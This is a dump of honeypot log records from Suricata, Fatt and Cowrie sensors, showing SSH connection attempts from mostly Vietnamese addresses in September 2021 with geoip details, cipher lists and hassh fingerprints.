25948	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:09.351883+03	2021-09-20 14:15:12.638646+03	{"_id": "0QbnAnwBvYTbRNuEER13", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1103864246570843, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43462, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.351883Z", "@timestamp": "2021-09-20T11:11:09.351Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25949	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:09.352078+03	2021-09-20 14:15:12.640647+03	{"_id": "1QbnAnwBvYTbRNuEEh2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43462, "timestamp": "2021-09-20T11:11:09.352078", "@timestamp": "2021-09-20T11:11:09.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25955	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.075303+03	2021-09-20 14:15:12.647645+03	{"_id": "OwbnAnwBvYTbRNuELh6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ab3913da8dba", "@version": "1", "duration": 3.33590030670166, "timestamp": "2021-09-20T11:11:17.075303Z", "@timestamp": "2021-09-20T11:11:17.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25950	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:09.352454+03	2021-09-20 14:15:12.641645+03	{"_id": "0wbnAnwBvYTbRNuEEh2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43462, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.352454", "@timestamp": "2021-09-20T11:11:09.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25951	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.970346+03	2021-09-20 14:15:12.642646+03	{"_id": "1gbnAnwBvYTbRNuEEx0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:51332 (192.168.176.2:22) [session: f3138ab24b58]", "session": "f3138ab24b58", "@version": "1", "protocol": "ssh", "src_port": 51332, "dest_port": 22, "timestamp": "2021-09-20T11:11:09.970346Z", "@timestamp": "2021-09-20T11:11:09.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25952	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.706889+03	2021-09-20 14:15:12.643646+03	{"_id": "3AbnAnwBvYTbRNuEEx0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "35c4bd54841d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:09.706889Z", "@timestamp": "2021-09-20T11:11:09.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25953	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:09.771614+03	2021-09-20 14:15:12.644646+03	{"_id": "3QbnAnwBvYTbRNuEEx0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "35c4bd54841d", "@version": "1", "timestamp": "2021-09-20T11:11:09.771614Z", "@timestamp": "2021-09-20T11:11:09.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25954	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:10.205138+03	2021-09-20 14:15:12.646647+03	{"_id": "3gbnAnwBvYTbRNuEEx0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "c08df8e155e9", "@version": "1", "duration": 6.833059787750244, "timestamp": "2021-09-20T11:11:10.205138Z", "@timestamp": "2021-09-20T11:11:10.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
41126	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:03:38.993796+03	2021-09-20 16:15:02.322747+03	{"_id": "AgZOA3wBvYTbRNuEDo2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:03:38.993796Z", "@timestamp": "2021-09-20T13:03:38.993Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25956	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.465154+03	2021-09-20 14:15:12.648645+03	{"_id": "PQbnAnwBvYTbRNuELh6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "47e7b17df857", "@version": "1", "timestamp": "2021-09-20T11:11:17.465154Z", "@timestamp": "2021-09-20T11:11:17.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25957	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:17.751059+03	2021-09-20 14:15:12.649645+03	{"_id": "RQbnAnwBvYTbRNuEMB67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2202085237324394, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58462, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.751059Z", "@timestamp": "2021-09-20T11:11:17.751Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25958	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:17.464554+03	2021-09-20 14:15:12.651647+03	{"_id": "TQbnAnwBvYTbRNuEMR7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 